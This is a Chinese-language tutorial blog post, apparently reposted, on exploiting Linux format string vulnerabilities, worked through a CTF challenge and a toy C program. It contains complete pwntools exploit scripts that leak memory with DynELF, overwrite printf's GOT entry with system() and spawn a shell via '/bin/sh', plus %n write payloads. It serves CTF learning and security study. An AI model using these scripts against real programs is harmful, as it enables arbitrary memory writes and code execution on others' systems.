Linux 格式化字符串漏洞利用

来源:互联网 发布:工程图纸设计软件 编辑:程序博客网 时间:2024/06/09 23:41

目的是接触一些常见的漏洞,增加自己的视野。格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。下面结合着自己的学习经历,把漏洞详细的讲解一下,附上大量的实例。

  • 0x01 漏洞简述
    • 0x1 简介
    • 0x2 产生条件
  • 0x02 内存读取
    • 0x1 printf 参数格式
    • 0x2 堆栈情况
    • 0x3 实例分析
      • 1计算参数偏移个数
        • 1 gdb调试
        • 2 利用pwntools计算
      • 2利用DynELF实现内存泄露
  • 0x03 内存写入

0x01 漏洞简述

0x1 简介

格式化字符串漏洞是一种常见的漏洞,原理和利用方法也很简单,主要利用方式就是实现内存任意读和写。前提是其中的参数可控。如果要深入理解漏洞必须进行大量的实验。

0x2 产生条件

首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值,一般是循环执行

0x02 内存读取

这是泄露内存的过程

0x1 printf 参数格式

这部分来自icemakr的博客32位读'%{}$x'.format(index)           // 读4个字节'%{}$p'.format(index)           // 同上面'${}$s'.format(index)写'%{}$n'.format(index)           // 解引用,写入四个字节'%{}$hn'.format(index)          // 解引用,写入两个字节'%{}$hhn'.format(index)         // 解引用,写入一个字节'%{}$lln'.format(index)         // 解引用,写入八个字节64位读'%{}$x'.format(index, num)      // 读4个字节'%{}$lx'.format(index, num)     // 读8个字节'%{}$p'.format(index)           // 读8个字节'${}$s'.format(index)写'%{}$n'.format(index)           // 解引用,写入四个字节'%{}$hn'.format(index)          // 解引用,写入两个字节'%{}$hhn'.format(index)         // 解引用,写入一个字节'%{}$lln'.format(index)         // 解引用,写入八个字节%1$lx: RSI%2$lx: RDX%3$lx: RCX%4$lx: R8%5$lx: R9%6$lx: 栈上的第一个QWORD

0x2 堆栈情况

这里写图片描述

printf("%s%d%d%d")后面没有参数时,会打印后面的堆栈值。如果有read等函数,内存值可控,就可以实现内存任意读、任意写。

在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道
程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。

0x3 实例分析

这里选用广东省红帽杯的pwn2来具体说明。
首先看一下IDA反汇编代码

  while ( 1 )  {    memset(&v2, 0, 0x400u);    read(0, &v2, 0x400u);    printf((const char *)&v2);    fflush(stdout);  }

我们发现了read函数,printf函数标准的格式化字符串漏洞。

1计算参数偏移个数

这里有两种方式

(1) gdb调试

在printf之前设置断点,0x0804852E
这里写图片描述
单步进入sprintf函数中,查看堆栈值
这里写图片描述
我们发现了我们可控的内存距离sprintf之间的距离为7

(2) 利用pwntools计算

利用FmStr函数计算

from pwn import *# coding:utf-8 # io = process('./pwn2')# io =remote('106.75.93.221', 20003)elf = ELF('./pwn2')def test(payload):    io = process('./pwn2')    io.sendline(payload)    info = io.recv()    io.close    return infoautofmt = FmtStr(test)print autofmt.offset

2利用DynELF实现内存泄露

在这里我先介绍一下DynELF泄露内存的原理,采用这篇博客里写的

我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件
1.我们拥有从Linux发型以来所有版本的 libc 文件
2.我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果

以上是原理,其实说白了就是要利用能够打印指定内存的函数

#coding:utf-8from pwn import *sh = process('./pwn2')elf = ELF('./pwn2')#计算偏移def test(payload):    temp = process('./pwn2')    temp.sendline(payload)    info = temp.recv()    temp.close()    return infoauto = FmtStr(test)print auto.offset#泄露内存 因为函数本来可以循环执行所以不用rop链闭合def leak(addr):    payload = 'A%9$s'#这里需要注意一下 为了精确泄露内存用字符定下位    payload += 'AAA'    payload += p32(addr)    sh.sendline(payload)    sh.recvuntil('A')    content = sh.recvuntil('AAA')    # content = sh.recv(4)    print content    if(len(content) == 3):        print '[*] NULL'        return '\x00'    else:        print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))        print len(content)        return content[0:-3]#-------- leak systemd = DynELF(leak, elf=ELF('./pwn2'))system_addr = d.lookup('system','libc')#意思是在libc中寻找system地址log.info('system_addr:' + hex(system_addr))

0x03 内存写入

首先分析一个简单点的程序

#include <stdio.h> int main() {    int flag=5 ;    int *p = &flag;    char a[100];    scanf("%s",a);    printf(a);    if(flag == 2000)    {        printf("good\n" );    }    return 0;}

利用gdb调试一下,在printf处设断点。查看一下堆栈的状况
这里写图片描述
发现偏移为5 于是构造%010x%010x%010x%01970x%n
这里写图片描述
这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解


在pwntools中有现成的函数可以使用fmtstr_payload可以实现修改任意内存
fmtstr_payload(auto.offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

from pwn import *sh = process('./pwn2')elf = ELF('./pwn2')def test(payload):    temp = process('./pwn2')    temp.sendline(payload)    info = temp.recv()    temp.close()    return infoauto = FmtStr(test)print auto.offsetdef leak(addr):    payload = 'A%9$s'    payload += 'AAA'    payload += p32(addr)    sh.sendline(payload)    sh.recvuntil('A')    content = sh.recvuntil('AAA')    # content = sh.recv(4)    print content    if(len(content) == 3):        print '[*] NULL'        return '\x00'    else:        print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))        print len(content)        return content[0:-3]#-------- leak systemd = DynELF(leak, elf=ELF('./pwn2'))system_addr = d.lookup('system','libc')log.info('system_addr:' + hex(system_addr))#-------- change GOTprintf_got = elf.got['printf']log.info(hex(printf_got))payload = fmtstr_payload(auto.offset, {printf_got: system_addr})sh.sendline(payload)payload = '/bin/sh\x00'sh.sendline(payload)sh.interactive()